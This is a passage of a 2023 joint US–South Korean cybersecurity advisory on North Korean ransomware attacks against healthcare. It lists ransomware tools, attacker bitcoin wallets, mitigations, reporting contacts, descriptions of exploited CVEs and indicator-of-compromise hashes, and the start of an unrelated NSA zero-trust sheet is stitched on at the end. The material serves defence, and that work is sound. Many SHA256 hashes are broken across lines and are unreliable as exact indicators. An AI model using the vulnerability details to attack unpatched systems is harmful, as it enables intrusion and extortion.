Ransomware Tools [TA0040]. Actors have used privately +developed ransomware, such as Maui and H0lyGh0st [T1486]. Actors have also +been observed using or possessing publically available tools for encryption, such +as BitLocker, Deadbolt, ech0raix, GonnaCry, Hidden Tear, Jigsaw, LockBit 2.0, +My Little Ransomware, NxRansomware, Ryuk, and YourRansom [T1486]. In +some cases, DPRK actors have portrayed themselves as other ransomware +groups, such as the REvil ransomware group. For IOCs associated with Maui +and H0lyGh0st ransomware usage, please see Appendix B. +Demand Ransom in Cryptocurrency. DPRK cyber actors have been observed +setting ransoms in bitcoin [T1486]. Actors are known to communicate with victims +via Proton Mail email accounts. For private companies in the healthcare sector, +actors may threaten to expose a company +s proprietary data to competitors if +ransoms are not paid. Bitcoin wallet addresses possibly used by DPRK cyber +actors include: +1MTHBCrBKYEthfa16zo9kabt4f9jMJz8Rm +bc1q80vc4yjgg6umedkut3e9mhehxl4q4dcjjyzh59 +1J8spy62o7z2AjQxoUpiCGnBh5cRWKVWJC +16ENLdHbnmDcEV8iqN4vuyZHa7sSdYRh76 +bc1q3wzxvu8yhs8h7mlkmf7277wyklkah9k4sm9anu +bc1q8xyt4jxhw7mgqpwd6qfdjyxgvjeuz57jxrvgk9 +1NqihEqYaQaWiZkPVdSMiTbt7dTy1LMxgX +bc1qxrpevck3pq1yzrx2pq2rkvkvy0jnm56nzjv6pw +14hVKm7Ft2rxDBFTNkkRC3kGstMGp2A4hk +1KCwfCUgnSy3pzNX7U1i5NwFzRtth4bRBc +16sYqXancDDiijcuruZecCkdBDwDf4vSEC +1N6JphHFaYmYaokS5xH31Z67bvk4ykd9CP +LZ1VNJfn6mWjPzkCyoBvqWaBZYXAwn135 +U/OO/114471-23 | PP-23-0183 | FEB 2023 Ver. 1.2 +TLP:CLEAR +TLP:CLEAR +Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities +1KmWW6LgdgykBBrSXrFu9kdoHz95Fe9kQF +1FX4W9rrG4F3Uc7gJ18GCwGab8XuW8Ajy2 +bc1qlqgu2l2kms5338zuc95kxavctzyy0v705tpvyc +bc1qy6su7vrh7ts5ng2628escmhr98msmzg62ez2sp +bc1q8t69gpxsezdcr8w6tfzp3jeptq4tcp2g9d0mwy +bc1q9h7yj79sqm4t536q0fdn7n4y2atsvvl22m28ep +bc1qj6y72rk039mqpgtcy7mwjd3eum6cx6027ndgmd +bc1qcp557vltuu3qc6pk3ld0ayagrxuf2thp3pjzpe +bc1ql8wsflrjf9zlusauynzjm83mupq6c9jz9vnqxg +bc1qx60ec3nfd5yhsyyxkzkpts54w970yxj84zrdck +bc1qunqnjdlvqkjuhtclfp8kzkjpvdz9qnk898xczp +bc1q6024d73h48fnhwswhwt3hqz2lzw6x99q0nulm4 +bc1qwdvexlyvg3mqvqw7g6l09qup0qew80wjj9jh7x +bc1qavrtge4p7dmcrnvhlvuhaarx8rek76wxyk7dgg +bc1qagaayd57vr25dlqgk7f00nhz9qepqgnlnt4upu +bc1quvnaxnpqlzq3mdhfddh35j7e7ufxh3gpc56hca +bc1qu0pvfmtxawm8s99lcjvxapungtsmkvwyvak6cs +bc1qg3zlxxhhcvt6hkuhmqml8y9pas76cajcu9ltdl +bc1qn7a3g23nzpuytchyyteyhkcse84cnylznl3j32 +bc1qhfmqstxp3yp9muvuz29wk77vjtdyrkff4nrxpu +bc1qnh8scrvuqvlzmzgw7eesyrmtes9c5m78duetf3 +bc1q7qry3lsrphmnw3exs7tkwzpvzjcxs942aq8n0y +bc1qcmlcxfsy0zlqhh72jvvc4rh7hvwhx6scp27na0 +bc1q498fn0gauj2kkjsg35mlwk2cnxhaqlj7hkh8xy +bc1qnz4udqkumjghnm2a3zt0w3ep8fwdcyv3krr3jq +bc1qk0saaw7p0wrwla6u7tfjlxrutlgrwnudzx9tyw +bc1qyue2pgjk09ps7qvfs559k8kee3jkcw4p4vdp57 +bc1q6qfkt06xmrpclht3acmq00p7zyy0ejydu89zwv +bc1qmge6a7sp659exnx78zhm9zgrw88n6un0rl9trs +bc1qcywkd7zqlwmjy36c46dpf8cq6ts6wgkjx0u7cn +Mitigations +Note: These mitigations align with the Cross-Sector Cybersecurity Performance Goals +(CPGs) developed by CISA and the U.S. National Institute of Standards and +Technology (NIST). The CPGs provide a minimum set of practices and protections that +CISA and NIST recommend all organizations implement. CISA and NIST based the +CPGs on existing cybersecurity frameworks and guidance to protect against the most +common and impactful threats, tactics, techniques, and procedures. For more +U/OO/114471-23 | PP-23-0183 | FEB 2023 Ver. 1.2 +TLP:CLEAR +TLP:CLEAR +Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities +information on the CPGs, including additional recommended baseline protections, see +cisa.gov/cpg. +The authoring agencies urge HPH organizations to: + Limit access to data by authenticating and encrypting connections (e.g., using +public key infrastructure certificates in virtual private network (VPN) and transport +layer security (TLS) connections) with network services, Internet of Things (IoT) +medical devices, and the electronic health record system [CPG 3.3]. +Implement the principle of least privilege by using standard user accounts on +internal systems instead of administrative accounts [CPG 1.5], which grant +excessive system administration privileges. +Turn off weak or unnecessary network device management interfaces, such as +Telnet, SSH, Winbox, and HTTP for wide area networks (WANs) and secure with +strong passwords and encryption when enabled. +Protect stored data by masking the permanent account number (PAN) when +displayed and rendering it unreadable when stored +through cryptography, for +example. +Secure the collection, storage, and processing practices for personally +identifiable information (PII)/protected health information (PHI), per regulations +such as the Health Insurance Portability and Accountability Act of 1996 (HIPAA). +Implementing HIPAA security measures could prevent the introduction of +malware to the system [CPG 3.4]. +o Secure PII/ PHI at collection points and encrypt the data at rest and in transit +using technologies, such as TLS. Only store personal patient data on internal +systems that are protected by firewalls, and ensure extensive backups are +available. +o Create and regularly review internal policies that regulate the collection, +storage, access, and monitoring of PII/PHI. +Implement and enforce multi-layer network segmentation with the most critical +communications and data resting on the most secure and reliable layer [CPG +8.1]. +Use monitoring tools to observe whether IoT devices are behaving erratically due +to a compromise [CPG 3.1]. +U/OO/114471-23 | PP-23-0183 | FEB 2023 Ver. 1.2 +TLP:CLEAR +TLP:CLEAR +Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities +In addition, the authoring agencies urge all organizations, including HPH Sector +organizations, to apply the following recommendations to prepare for and mitigate +ransomware incidents: +Maintain isolated backups of data, and regularly test backup and +restoration [CPG 7.3]. These practices safeguard an organization +s continuity of +operations or at least minimize potential downtime from a ransomware incident +and protect against data losses. +Ensure all backup data is encrypted, immutable (i.e., cannot be altered or +deleted), and covers the entire organization +s data infrastructure. +Create, maintain, and exercise a basic cyber incident response plan and +associated communications plan that includes response procedures for a +ransomware incident [CPG 7.1, 7.2]. +o Organizations should also ensure their incident response and +communications plans include data breach incidents response and +notification procedures. Ensure the notification procedures adhere to +applicable laws. +o See the CISA-Multi-State Information Sharing and Analysis Center (MSISAC) Joint Ransomware Guide and CISA Fact Sheet Protecting Sensitive +and Personal Information from Ransomware-Caused Data Breaches for +information on creating a ransomware response checklist and planning +and responding to ransomware-caused data breaches. +Install updates for operating systems, software, and firmware as soon as +they are released [CPG 5.1]. Timely patching is one of the most efficient and +cost-effective steps an organization can take to minimize its exposure to +cybersecurity threats. Regularly check for software updates and end-of-life +notifications and prioritize patching known exploited vulnerabilities. Consider +leveraging a centralized patch management system to automate and expedite +the process. +If you use Remote Desktop Protocol (RDP), or other potentially risky +services, secure and monitor them closely [CPG 5.4]. +o Limit access to resources over internal networks, especially by restricting +RDP and using virtual desktop infrastructure. After assessing risks, if RDP +is deemed operationally necessary, restrict the originating sources, and +require phishing-resistant multifactor authentication (MFA) to mitigate +credential theft and reuse [CPG 1.3]. If RDP must be available externally, +use a VPN, virtual desktop infrastructure, or other means to authenticate +U/OO/114471-23 | PP-23-0183 | FEB 2023 Ver. 1.2 +TLP:CLEAR +TLP:CLEAR +Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities +and secure the connection before allowing RDP to connect to internal +devices. Monitor remote access/RDP logs, enforce account lockouts after +a specified number of attempts to block brute force campaigns, log RDP +login attempts, and disable unused remote access/RDP ports [CPG 1.1, +3.1]. +o Ensure devices are properly configured and that security features are +enabled. Disable ports and protocols not in use for a business purpose +(e.g., RDP Transmission Control Protocol port 3389). +o Restrict the Server Message Block (SMB) protocol within the network to +only access necessary servers and remove or disable outdated versions +of SMB (i.e., SMB version 1). Threat actors use SMB to propagate +malware across organizations. +o Review the security posture of third-party vendors and those +interconnected with your organization. Ensure all connections between +third-party vendors and outside software or hardware are monitored and +reviewed for suspicious activity [CPG 5.6, 6.2]. +o Implement application control policies that only allow systems to execute +known and permitted programs [CPG 2.1]. +o Open document readers in protected viewing modes to help prevent active +content from running. +Implement a user training program and phishing exercises [CPG 4.3] to +raise awareness among users about the risks of visiting websites, clicking on +links, and opening attachments. Reinforce the appropriate user response to +phishing and spearphishing emails. +Require phishing-resistant MFA for as many services as possible [CPG +1.3] +particularly for webmail, VPNs, accounts that access critical systems, and +privileged accounts that manage backups. +Use strong passwords [CPG 1.4] and avoid reusing passwords for multiple +accounts. See CISA Tip Choosing and Protecting Passwords and National +Institute of Standards and Technology (NIST) Special Publication 800-63B: +Digital Identity Guidelines for more information. +Require administrator credentials to install software [CPG 1.5]. +Audit user accounts with administrative or elevated privileges [CPG 1.5] +and configure access controls with least privilege in mind. +U/OO/114471-23 | PP-23-0183 | FEB 2023 Ver. 1.2 +TLP:CLEAR +TLP:CLEAR +Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities +Install and regularly update antivirus and antimalware software on all +hosts. +Only use secure networks. Consider installing and using a VPN. +Consider adding an email banner to messages coming from outside your +organizations [CPG 8.3] indicating that they are higher risk messages. +Consider participating in CISA +s no-cost Automated Indicator Sharing (AIS) +program to receive real-time exchange of machine-readable cyber threat +indicators and defensive measures. +If a ransomware incident occurs at your organization: +Follow your organization +s ransomware response checklist. +Scan backups. If possible, scan backup data with an antivirus program to check +that it is free of malware. This should be performed using an isolated, trusted +system to avoid exposing backups to potential compromise. +U.S. organizations: Follow the notification requirements as outlined in your +cyber incident response plan. Report incidents to appropriate authorities; in the +U.S., this would include the FBI at a local FBI Field Office, CISA at +cisa.gov/report, or the U.S. Secret Service (USSS) at a USSS Field Office. +South Korean organizations: Please report incidents to NIS, KISA (Korea +Internet & Security Agency), and KNPA (Korean National Police Agency). +o NIS (National Intelligence Service) + Telephone : 111 + https://www.nis.go.kr +o KISA (Korea Internet & Security Agency) + Telephone : 118 (Consult Service) + https://www.boho.or.kr/consult/ransomware.do +o KNPA (Korean National Police Agency) + Electronic Cybercrime Report & Management System: +https://ecrm.police.go.kr/minwon/main +Apply incident response best practices found in the joint Cybersecurity Advisory, +Technical Approaches to Uncovering and Remediating Malicious Activity, +developed by CISA and the cybersecurity authorities of Australia, Canada, New +Zealand, and the United Kingdom. +U/OO/114471-23 | PP-23-0183 | FEB 2023 Ver. 1.2 +TLP:CLEAR +TLP:CLEAR +Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities +Resources +Stairwell provided a YARA rule to identify Maui ransomware, and a Proof of Concept +public RSA key extractor at the following link: +https://www.stairwell.com/news/threat-research-report-maui-ransomware/ +Request For Information +The FBI is seeking any information that can be shared, to include boundary logs +showing communication to and from foreign IP addresses, bitcoin wallet information, the +decryptor file, and/or benign samples of encrypted files. As stated above, the authoring +agencies discourage paying ransoms. Payment does not guarantee files will be +recovered and may embolden adversaries to target additional organizations, encourage +other criminal actors to engage in the distribution of ransomware, and/or fund illicit +activities. However, the agencies understand that when victims are faced with an +inability to function, all options are evaluated to protect shareholders, employees, and +customers. +Regardless of whether you or your organization decide to pay a ransom, the authoring +agencies urge you to promptly report ransomware incidents using the contact +information above. +Acknowledgements +NSA, FBI, CISA, and HHS would like to thank ROK NIS and DSA for their contributions +to this CSA. +Disclaimer of endorsement +The information and opinions contained in this document are provided "as is" and without any warranties or +guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, +manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United +States Government, and this guidance shall not be used for advertising or product endorsement purposes. +Trademark recognition +Microsoft Threat Intelligence Center is a registered trademark of Microsoft Corporation. Apache +, Sonicwall, and +Apache Log4j are trademarks of Apache Software Foundation. TerraMaster Operating System is a registered +trademark of Octagon Systems. +Purpose +This document was developed in furtherance of the authors + cybersecurity missions, including their responsibilities to +identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This +information may be shared broadly to reach all appropriate stakeholders. +U/OO/114471-23 | PP-23-0183 | FEB 2023 Ver. 1.2 +TLP:CLEAR +TLP:CLEAR +Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities +Contact +NSA Client Requirements / General Cybersecurity Inquiries: CybersecurityReports@nsa.gov +Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov +To report incidents and anomalous activity related to information found in this Joint Cybersecurity Advisory, contact +CISA +s 24/7 Operations Center at Report@cisa.gov or (888) 282-0870 or your local FBI field office at +www.fbi.gov/contact-us/field. When available, please include the following information regarding the incident: date, +time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; +the name of the submitting company or organization; and a designated point of contact. +Media Inquiries / Press Desk: +NSA Media Relations, 443-634-0721, MediaRelations@nsa.gov +CISA Media Relations, 703-235-2010, CISAMedia@cisa.dhs.gov +U/OO/114471-23 | PP-23-0183 | FEB 2023 Ver. 1.2 +TLP:CLEAR +TLP:CLEAR +Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities +Appendix A: CVE Details +CVE-2021-44228 +CVSS 3.0: 10 (Critical) +Vulnerability Description +Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, +and 2.3.1) JNDI features used in configuration, log messages, and parameters do not +protect against attacker controlled LDAP and other JNDI related endpoints. An +attacker who can control log messages or log message parameters can execute +arbitrary code loaded from LDAP servers when message lookup substitution is +enabled. From log4j 2.15.0, this behavior has been disabled by default. From version +2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely +removed. Note that this vulnerability is specific to log4j-core and does not affect +log4net, log4cxx, or other Apache Logging Services projects. +Recommended Mitigations +Apply patches provided by vendor and perform required system updates. +Detection Methods +See vendors + Guidance For Preventing, Detecting, and Hunting for Exploitation of the +Log4j 2 Vulnerability. +Vulnerable Technologies and Versions +There are numerous vulnerable technologies and versions associated with CVE-202144228. For a full list, please check https://nvd.nist.gov/vuln/detail/CVE-2021-44228. +See https://nvd.nist.gov/vuln/detail/CVE-2021-44228 for more information. +U/OO/114471-23 | PP-23-0183 | FEB 2023 Ver. 1.2 +TLP:CLEAR +TLP:CLEAR +Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities +CVE-2021-20038 +CVSS 3.0: 9.8 (Critical) +Vulnerability Description +A Stack-based buffer overflow vulnerability in SMA100 Apache httpd server's mod_cgi +module environment variables allows a remote unauthenticated attacker to potentially +execute code as a 'nobody' user in the appliance. This vulnerability affected SMA 200, +210, 400, 410 and 500v appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv, 10.2.1.224sv and earlier versions. +Recommended Mitigations +Apply all appropriate vendor updates +Upgrade to: + SMA 100 Series - (SMA 200, 210, 400, 410, 500v (ESX, Hyper-V, KVM, AWS, +Azure): + SonicWall SMA100 build versions 10.2.0.9-41sv or later + SonicWall SMA100 build versions 10.2.1.3-27sv or later +System administrators should refer to the SonicWall Security Advisories in the +reference section to determine affected applications/systems and appropriate fix +actions. +Support for 9.0.0 firmware ended on 10/31/2021. Customers still using that firmware +are requested to upgrade to the latest 10.2.x versions. +Vulnerable Technologies and Versions +Sonicwall Sma 200 Firmware 10.2.0.8-37Sv +Sonicwall Sma 200 Firmware 10.2.1.1-19Sv +Sonicwall Sma 200 Firmware 10.2.1.2-24Sv +Sonicwall Sma 210 Firmware 10.2.0.8-37Sv +Sonicwall Sma 210 Firmware 10.2.1.1-19Sv +Sonicwall Sma 210 Firmware 10.2.1.2-24Sv +Sonicwall Sma 410 Firmware 10.2.0.8-37Sv +Sonicwall Sma 410 Firmware 10.2.1.1-19Sv +Sonicwall Sma 410 Firmware 10.2.1.2-24Sv +Sonicwall Sma 400 Firmware 10.2.0.8-37Sv +Sonicwall Sma 400 Firmware 10.2.1.1-19Sv +Sonicwall Sma 400 Firmware 10.2.1.2-24Sv +Sonicwall Sma 500V Firmware 10.2.0.8-37Sv +Sonicwall Sma 500V Firmware 10.2.1.1-19Sv +Sonicwall Sma 500V Firmware 10.2.1.2-24Sv +See https://nvd.nist.gov/vuln/detail/CVE-2021-20038 for more information. +U/OO/114471-23 | PP-23-0183 | FEB 2023 Ver. 1.2 +TLP:CLEAR +TLP:CLEAR +Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities +CVE-2022-24990 +CVSS 3.x: N/A +Vulnerability Description +The TerraMaster OS Unauthenticated Remote Command Execution via PHP Object +Instantiation Vulnerability is characterized by scanning activity targeting a flaw in the +script enabling a remote adversary to execute commands on the target endpoint. The +vulnerability is created by improper input validation of the webNasIPS component in +the api.php script and resides on the TNAS device appliances' operating system +where users manage storage, backup data, and configure applications. By exploiting +the script flaw a remote unauthenticated attacker can pass specially crafted data to +the application and execute arbitrary commands on the target system. This may result +in complete compromise of the target system, including the exfiltration of information. +TNAS devices can be chained to acquire unauthenticated remote code execution with +highest privileges. +Recommended Mitigations +Install relevant vendor patches. This vulnerability was patched in TOS version 4.2.30 +Vulnerable Technologies and Versions +TOS v 4.2.29 +See https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tosunauthenticated-remote-command-execution-via-php-object-instantiation/ and +https://forum.terra-master.com/en/viewtopic.php?t=3030 for more information. +U/OO/114471-23 | PP-23-0183 | FEB 2023 Ver. 1.2 +TLP:CLEAR +TLP:CLEAR +Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities +Appendix B: Indicators of Compromise (IOCs) +The IOC section includes hashes and IP addresses for the Maui and H0lyGh0st +ransomware variants +as well as custom malware implants assumedly developed by +DPRK cyber actors, such as remote access trojans (RATs), loaders, and other tools +that enable subsequent deployment of ransomware. For additional Maui IOCs, see joint +CSA North Korean State-Sponsored Cyber Actors Use Maui Ransomware to Target the +Healthcare and Public Health Sector. +Table 2 lists MD5 and SHA256 hashes associated with malware implants, RATs, and +other tools used by DPRK cyber actors, including tools that drop Maui ransomware files. +Table 2: File names and hashes of malicious implants, RATs, and tools +MD5Hash +079b4588eaa99a1e802adf5e0b26d8aa +0e9e256d8173854a7bc26982b1dde783 +12c15a477e1a96120c09a860c9d479b3 +131fc4375971af391b459de33f81c253 +17c46ed7b80c2e4dbea6d0e88ea0827c +1875f6a68f70bee316c8a6eda9ebf8de +1a74c8d8b74ca2411c1d3d22373a6769 +1f6d9f8fbdbbd4e6ed8cd73b9e95a928 +2d02f5499d35a8dffb4c8bc0b7fec5c2 +2e18350194e59bc6a2a3f6d59da11bd8 +3bd22e0ac965ebb6a18bb71ba39e96dc +40f21743f9cb927b2c84ecdb7dfb14a6 +4118d9adce7350c3eedeb056a3335346 +U/OO/114471-23 | PP-23-0183 | FEB 2023 Ver. 1.2 +SHA256Hash +f67ee77d6129bd1bcd5d856c0fc5314169 +b946d32b8abaa4e680bb98130b38e7 +-6263e421e397db821669420489d2d3084 +f408671524fd4e1e23165a16dda2225 +-b9af4660da00c7fa975910d0a19fda0720 +31c15fad1eef935a609842c51b7f7d +672ec8899b8ee513dbfc4590440a61023 +846ddc2ca94c88ae637144305c497e7 +ba8f9e7afe5f78494c111971c39a89111ef +9262bf23e8a764c6f65c818837a44 +4f089afa51fd0c1b2a39cc11cedb3a4a32 +6111837a5408379384be6fe846e016 +830207029d83fd46a4a89cd623103ba23 +21b866428aa04360376e6a390063570 +655aa64860f1655081489cf85b77f72a49 +de846a99dd122093db4018434b83ae +6b7f566889b80d1dba4f92d5e2fb2f5ef24 +f57fcfd56bb594978dffe9edbb9eb +5081f54761947bc9ce4aa2a259a0bd60b +4ec03d32605f8e3635c4d4edaf48894 +5b7ecf7e9d0715f1122baf4ce745c5fcd76 +9dee48150616753fec4d6da16e99e +TLP:CLEAR +TLP:CLEAR +Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities +43e756d80225bdf1200bc34eef5adca8 +47791bf9e017e3001ddc68a7351ca2d6 +505262547f8879249794fc31eea41fc6 +5130888a0ad3d64ad33c65de696d3fa2 +58ad3103295afcc22bde8d81e77c282f +5be1e382cd9730fbe386b69bd8045ee7 +5c6f9c83426c6d33ff2d4e72c039b747 +640e70b0230dc026eff922fb1e44c2ea +67f4dad1a94ed8a47283c2c0c05a7594 +70652edadedbacfd30d33a826853467d +739812e2ae1327a94e441719b885bd19 +76c3d2092737d964dfd627f1ced0af80 +802e7d6e80d7a60e17f9ffbd62fcbbeb +827103a6b6185191fd5618b7e82da292 +830bc975a04ab0f62bfedf27f7aca673 +85995257ac07ae5a6b4a86758a2283d7 +85f6e3e3f0bdd0c1b3084fc86ee59d19 +87a6bda486554ab16c82bdfb12452e8b +891db50188a90ddacfaf7567d2d0355d +894de380a249e677be2acb8fbdfba2ef +8b395cc6ecdec0900facf6e93ec48fbb +U/OO/114471-23 | PP-23-0183 | FEB 2023 Ver. 1.2 +afb2d4d88f59e528f0e388705113ae54b7 +b97db4f03a35ae43cc386a48f263a0 +863b707873f7d653911e46885e261380b +410bb3bf6b158daefb47562e93cb657 +f32f6b229913d68daad937cc72a57aa452 +91a9d623109ed48938815aa7b6005c +c92c1f3e77a1876086ce530e87aa9c1f9c +bc5e93c5e755b29cad10a2f3991435 +18b75949e03f8dcad513426f1f9f3ca209d +779c24cd4e941d935633b1bec00cb +5ad106e333de056eac78403b033b89c58 +b4c4bdda12e2f774625d47ccfd3d3ae +a3b7e88d998078cfd8cdf37fa5454c45f6c +bd65f4595fb94b2e9c85fe767ad47 +6319102bac226dfc117c3c9e620cd99c7e +afbf3874832f2ce085850aa042f19c +3fe624c33790b409421f4fa2bb8abfd701d +f2231a959493c33187ed34bec0ae7 +196fb1b6eff4e7a049cea323459cfd6c0e3 +900d8d69e1d80bffbaabd24c06eba +6122c94cbfa11311bea7129ecd5aea6fae +6c51d23228f7378b5f6b2398728f67 +bffe910904efd1f69544daa9b72f2a70fb29 +f73c51070bde4ea563de862ce4b1 +87bdb1de1dd6b0b75879d8b8aef80b562 +ec4fad365d7abbc629bcfc1d386afa6 +---f1576627e8130e6d5fde0dbe3dffcc8bc9e +ef1203d15fcf09cd877ced1ccc72a +980bb08ef3e8afcb8c0c1a879ec11c41b2 +9fd30ac65436495e69de79c555b2be +0837dd54268c373069fc5c1628c6e3d75e +b99c3b3efc94c45b73e2cf9a6f3207 +TLP:CLEAR +TLP:CLEAR +Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities +92a6c017830cda80133bf97eb77d3292 +9b0e7c460a80f740d455a7521f0eada1 +9b9d4cb1f681f19417e541178d8c75d7 +a1f9e9f5061313325a275d448d4ddd59 +a452a5f693036320b580d28ee55ae2a3 +a6e1efd70a077be032f052bb75544358 +ad4eababfe125110299e5a24be84472e +b1c1d28dc7da1d58abab73fa98f60a83 +b6f91a965b8404d1a276e43e61319931 +bdece9758bf34fcad9cba1394519019b +c3850f4cc12717c2b54753f8ca5d5e0e +c50b839f2fc3ce5a385b9ae1c05def3a +cf236bf5b41d26967b1ce04ebbdb4041 +d0e203e8845bf282475a8f816340f2e8 +ddb1f970371fa32faae61fc5b8423d4b +f2f787868a3064407d79173ac5fc0864 +fda3a19afa85912f6dc8452675245d6b +---- +U/OO/114471-23 | PP-23-0183 | FEB 2023 Ver. 1.2 +d1aba3f95f11fc6e5fec7694d188919555b +7ff097500e811ff4a5319f8f230be +45d8ac1ac692d6bb0fe776620371fca02b +60cac8db23c4cc7ab5df262da42b78 +f5f6e538001803b0aa008422caf2c3c2a7 +9b2eeee9ddc7feda710e4aba96fea4 +dfdd72c9ce1212f9d9455e2bca5a327c88 +d2d424ea5c086725897c83afc3d42d +99b0056b7cc2e305d4ccb0ac0a8a270d3f +ceb21ef6fc2eb13521a930cea8bd9f +3b9fe1713f638f85f20ea56fd09d20a96cd +6d288732b04b073248b56cdaef878 +a557a0c67b5baa7cf64bd4d42103d3b285 +2f67acf96b4c5f14992c1289b55eaa +38491f48d0cbaab7305b5ddca64ba41a2b +eb89d81d5fb920e67d0c7334c89131 +-9d6de05f9a3e62044ad9ae66111308ccb9 +ed2ee46a3ea37d85afa92e314e7127 +99b448e91669b92c2cc3417a4d9711209 +509274dab5d7582baacfab5028a818c +458d258005f39d72ce47c111a7d17e8c52 +fe5fc7dd98575771640d9009385456 +60425a4d5ee04c8ae09bfe28ca33bf9e76 +a43f69548b2704956d0875a0f25145 +f6375c5276d1178a2a0fe1a16c5668ce52 +3e2f846c073bf75bb2558fdec06531 +dda53eee2c5cb0abdbf5242f5e82f4de83 +898b6a9dd8aa935c2be29bafc9a469 +92adc5ea29491d9245876ba0b29573936 +33c9998eb47b3ae1344c13a44cd59ae +56925a1f7d853d814f80e98a1c4890b0a6 +a84c83a8eded34c585c98b2df6ab19 +0054147db54544d77a9efd9baf5ec96a80 +b430e170d6e7c22fcf75261e9a3a71 +151ab3e05a23e9ccd03a6c49830dabb9e +9281faf279c31ae40b13e6971dd2fb8 +1c926fb3bd99f4a586ed476e4683163892 +f3958581bf8c24235cd2a415513b7f +TLP:CLEAR +TLP:CLEAR +Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities +1f8dcfaebbcd7e71c2872e0ba2fc6db81d6 +51cf654a21d33c78eae6662e62392 +f226086b5959eb96bd30dec0ffcbf0f0918 +6cd11721507f416f1c39901addafb +23eff00dde0ee27dabad28c1f4ffb8b09e8 +76f1e1a77c1e6fb735ab517d79b76 +586f30907c3849c363145bfdcdabe3e2e4 +688cbd5688ff968e984b201b474730 +8ce219552e235dcaf1c694be122d6339e +d4ff8df70bf358cd165e6eb487ccfc5 +90fb0cd574155fd8667d20f97ac464eca67 +bdb6a8ee64184159362d45d79b6a4 +c2904dc8bbb569536c742fca0c51a766e8 +36d0da8fac1c1abd99744e9b50164f +ca932ccaa30955f2fffb1122234fb1524f7d +e3a8e0044de1ed4fe05cab8702a5 +f6827dc5af661fbb4bf64bc625c78283ef8 +36c6985bb2bfb836bd0c8d5397332 +f78cabf7a0e7ed3ef2d1c976c1486281f56 +a6503354b87219b466f2f7a0b65c4 +----------- +Table 3 lists MD5 and SHA256 hashes are associated with Maui Ransomware files. +Table 3: File names and hashes of Maui ransomware files +MD5 Hash +4118d9adce7350c3eedeb056a3335346 +9b0e7c460a80f740d455a7521f0eada1 +fda3a19afa85912f6dc8452675245d6b +2d02f5499d35a8dffb4c8bc0b7fec5c2 +c50b839f2fc3ce5a385b9ae1c05def3a +a452a5f693036320b580d28ee55ae2a3 +U/OO/114471-23 | PP-23-0183 | FEB 2023 Ver. 1.2 +SHA256 Hash +5b7ecf7e9d0715f1122baf4ce745c5fcd76 +9dee48150616753fec4d6da16e99e +45d8ac1ac692d6bb0fe776620371fca02b +60cac8db23c4cc7ab5df262da42b78 +56925a1f7d853d814f80e98a1c4890b0a6 +a84c83a8eded34c585c98b2df6ab19 +830207029d83fd46a4a89cd623103ba232 +1b866428aa04360376e6a390063570 +458d258005f39d72ce47c111a7d17e8c52 +fe5fc7dd98575771640d9009385456 +99b0056b7cc2e305d4ccb0ac0a8a270d3f +ceb21ef6fc2eb13521a930cea8bd9f +TLP:CLEAR +TLP:CLEAR +Ransomware Attacks on Critical Infrastructure Fund DPRK Malicious Cyber Activities +a6e1efd70a077be032f052bb75544358 +802e7d6e80d7a60e17f9ffbd62fcbbeb +3b9fe1713f638f85f20ea56fd09d20a96cd6 +d288732b04b073248b56cdaef878 +87bdb1de1dd6b0b75879d8b8aef80b562e +c4fad365d7abbc629bcfc1d386afa6 +0054147db54544d77a9efd9baf5ec96a80b +430e170d6e7c22fcf75261e9a3a71 +Table 4 lists MD5 and SHA256 hashes associated with H0lyGh0st Ransomware files. +Table 4: File names and hashes of H0lyGh0st ransomware files +SHA256 Hash +99fc54786a72f32fd44c7391c2171ca31e72ca52725c68e2dde94d04c286fccd* +F8fc2445a9814ca8cf48a979bff7f182d6538f4d1ff438cf259268e8b4b76f86* +Bea866b327a2dc2aa104b7ad7307008919c06620771ec3715a059e675d9f40af* +6e20b73a6057f8ff75c49e1b7aef08abfcfe4e418e2c1307791036f081335c2d +f4d10b08d7dacd8fe33a6b54a0416eecdaed92c69c933c4a5d3700b8f5100fad +541825cb652606c2ea12fd25a842a8b3456d025841c3a7f563655ef77bb67219 +2d978df8df0cf33830aba16c6322198e5889c67d49b40b1cb1eb236bd366826d +414ed95d14964477bebf86dced0306714c497cde14dede67b0c1425ce451d3d7 +Df0c7bb88e3c67d849d78d13cee30671b39b300e0cda5550280350775d5762d8 +MD5 Hash +a2c2099d503fcc29478205f5aef0283b +9c516e5b95a7e4169ecbd133ed4d205f +d6a7b5db62bf7815a10a17cdf7ddbd4b +c6949a99c60ef29d20ac8a9a3fb58ce5 +4b20641c759ed563757cdd95c651ee53 +25ee4001eb4e91f7ea0bc5d07f2a9744 +18126be163eb7df2194bb902c359ba8e +eaf6896b361121b2c315a35be837576d +e4ee611533a28648a350f2dab85bb72a +e268cb7ab778564e88d757db4152b9fa +* From Microsoft blog post on h0lygh0st +U/OO/114471-23 | PP-23-0183 | FEB 2023 Ver. 1.2 +TLP:CLEAR +National Security Agency | Cybersecurity Information Sheet +Advancing Zero Trust Maturity Throughout the +Device Pillar +Executive summary +Continued cyber incidents have called attention to the immense challenges of ensuring +effective cybersecurity across the federal government, as with many large enterprises, +and demonstrate that +business as usual + approaches are no longer 